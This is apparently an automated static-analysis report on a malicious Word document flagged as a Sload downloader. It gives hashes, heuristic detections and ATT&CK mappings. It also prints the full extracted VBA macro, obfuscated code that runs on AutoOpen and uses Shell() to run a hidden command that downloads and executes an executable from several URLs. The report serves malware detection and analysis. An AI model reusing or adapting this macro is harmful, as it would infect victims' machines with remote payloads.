Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2064d781333463fc…

MALICIOUS

Office (OLE)

61.4 KB Created: 2018-10-01 16:31:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: dd20078082f042681001d76167358794 SHA-1: 2aa69e5e787a9cde9d926e787cbab33b6ac0d88b SHA-256: 2064d781333463fc8583b0b4b2d81c105fdcec30bbca76ee5d31d7f34cdd92de
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The script attempts to construct a command line that includes a URL, likely to download and execute a second-stage payload. The ClamAV detection also confirms the malicious nature of the file.

Heuristics 6

  • ClamAV: Doc.Downloader.Sload-6794077-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6794077-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3271 bytes
SHA-256: 676a91cfa0d88506904e45edc512fa1230c079c071d22a9eb8f0ed7d58f9de1a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "izXzCqwwWUCwhk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   If WsGQFM Or 2 Then

tBFjh = "TI"
End If
   If AOJzp <= 2 Then

UjLOU = "M"
End If
   If qMmVN <= LkijE Then

UYfkP = "OwvpULWEZkUQ"
End If
SjonJLuoL (KeyString(wwTLriZs + lfKnf + 10 + 7 + 50 + CdBUtfI + iNPLT) + LkwPL + qNIXIW + KeyString(BdpGivaC + ufzLc + 12 + 8 + 57 + tXzCjRS + KGlIA) + DTqpj + vNtBMCjurWl + fWWSlvV + azJobQRV)
   If lbQzb Xor wCJnfX Then

fmuVTW = "ULNGXfUK"
End If
   If OJcvIm Eqv HDNhv Then

qSQwGh = "PHdmscltmFlnhI"
End If
   If kRpji And cFWQvW Then

FclmsY = "PijB"
End If
   If GPfus >= imhUU Then

UWtFzu = "ZEtIIOXLrkzD"
End If
End Sub


Attribute VB_Name = "caHIKoBPD"
Function DTqpj()
wjPzoWkSo = "d /V^:^ON/" + "C" + """" + "^s^e^t lN=^ ^ ^" + "  ^ ^ ^   ^ ^ ^"
wKGNtc = " ^  ^ ^ ^ ^}^" + "}^{^hc^t^ac^}^;^k^" + "a^er^b^;^ir^j" + "^$^ ^m^etI^-^e^k^ovn" + "^I;)^ir^j^$^ ^," + "^fB^J^$(^e^l^"
LIJaYBX = "i^F^d^a^o^ln^wo^D^." + "^i^w^Y^$^{^yr^t" + "^{)^B^Kj^$ n^" + "i^ ^f^B^J^$(^hc^a^e" + "r^o^f;^'^e^x^e^.^'^+" + "^U^t^L^$^+^'^\'"
AMjHaSCGI = "+c^i^l^b^u^p" + "^:vne^$^=^ir^" + "j^$^;^'^4^9" + "^3^'^ ^=^ ^U^t^"
kamHIjcmQ = "L^$^;)^'^@^'" + "(^t^i^l^p^S^." + "^'^Q/^ur^.^e" + "n^g^i^s^e^dn^a^l^.n^" + "a^m^i^d^.^w^w^w//^:" + "^p^t^t^h@yn/^t^"
If UFdAQ <= iVhiFr Then

HZBft = "fdKRTHclIi"
End If
   If KJHCqM Or QKCVC Then

RsiqR = "O"
End If
lYGYPUN = "i^.e^l^o^ic^s^i" + "v^e^l^l^ed^on^" + "i^dra^i^g^l^i" + "//^:^p^t^t^h^@^g"
DTqpj = wjPzoWkSo + wKGNtc + LIJaYBX + AMjHaSCGI + kamHIjcmQ + lYGYPUN
   If wwtood Xor wWADt Then

wiwUf = "PwHu"
End If
   If oJtop Eqv 17 Then

nVZvj = "SX"
End If
   If HApCY > 4 Then

vkloVn = "KFkEomKfI"
End If
End Function
Function vNtBMCjurWl()
inRtnqGO = "/^k^u.^oc^.^s^ec^" + "ivr^e^s^k^e^p^sn" + "^i//^:^p^t^t^h^" + "@C/^m^oc^.^l^a^" + "g^o^f^j//^:^p^"
WBMdqom = "t^t^h@^XC^s^" + "U/^e^b^.^yn" + "^a^j//^:^p^t^t^" + "h^'^=^B^K^j^$^;" + "^tn^e^i^lC^b"
hluFDhvu = "^e^W^.^t^eN^" + " ^tc^e^j^b^o^" + "-^w^en^=^i^" + "w^Y^$^ ^l^l" + "^e^h^sr^e^w^o^p&&"
EBYlwaaJo = "^f^or /^L " + "%^p ^in (^3^4^9^;^-^" + "1^;^0)^d^o ^s^e^" + "t ^l^I=!^l^I!!lN:" + "~%^p,1!&&^i^f %^p ^e"
If nJNsrE > mpQWVc Then

Whbmzj = "KDdzpFwH"
End If
   If NBbuSh Eqv zMjPs Then

KmzRo = "uwaR"
End If
sjiiN = "^q^u ^0 c^a^l^" + "l %^l^I:^~^-^3^5" + "^0%" + """" + ""
vNtBMCjurWl = inRtnqGO + WBMdqom + hluFDhvu + EBYlwaaJo + sjiiN
   If wPpqCR Xor 16 Then

MTiCa = "RdwR"
End If
   If qDiXwF Xor ckFfu Then

bpGwM = "oUBNcG"
End If
   If Bwiilc <= iYDwiW Then

UwXiJ = "XzzA"
End If
End Function


Attribute VB_Name = "viiwhaUAKGfpC"
Function SjonJLuoL(RGYjoAZnsmE As String)
Const QrQBzLuD = 623250762 - 623250762
   If VwcuN > JznWwY Then

bFOjBh = "P"
End If
   If LThwa >= mXbHsT Then

mIdGY = "KLcvNiBQG"
End If
Shell# RGYjoAZnsmE, QrQBzLuD
   If DhaRbj And jLAwWQ Then

IBcaYa = "jdM"
End If
   If UPZWj Or cKold Then

jwQpU = "NFi"
End If
   If zofcY Eqv 4 Then

UDOiD = "aJo"
End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.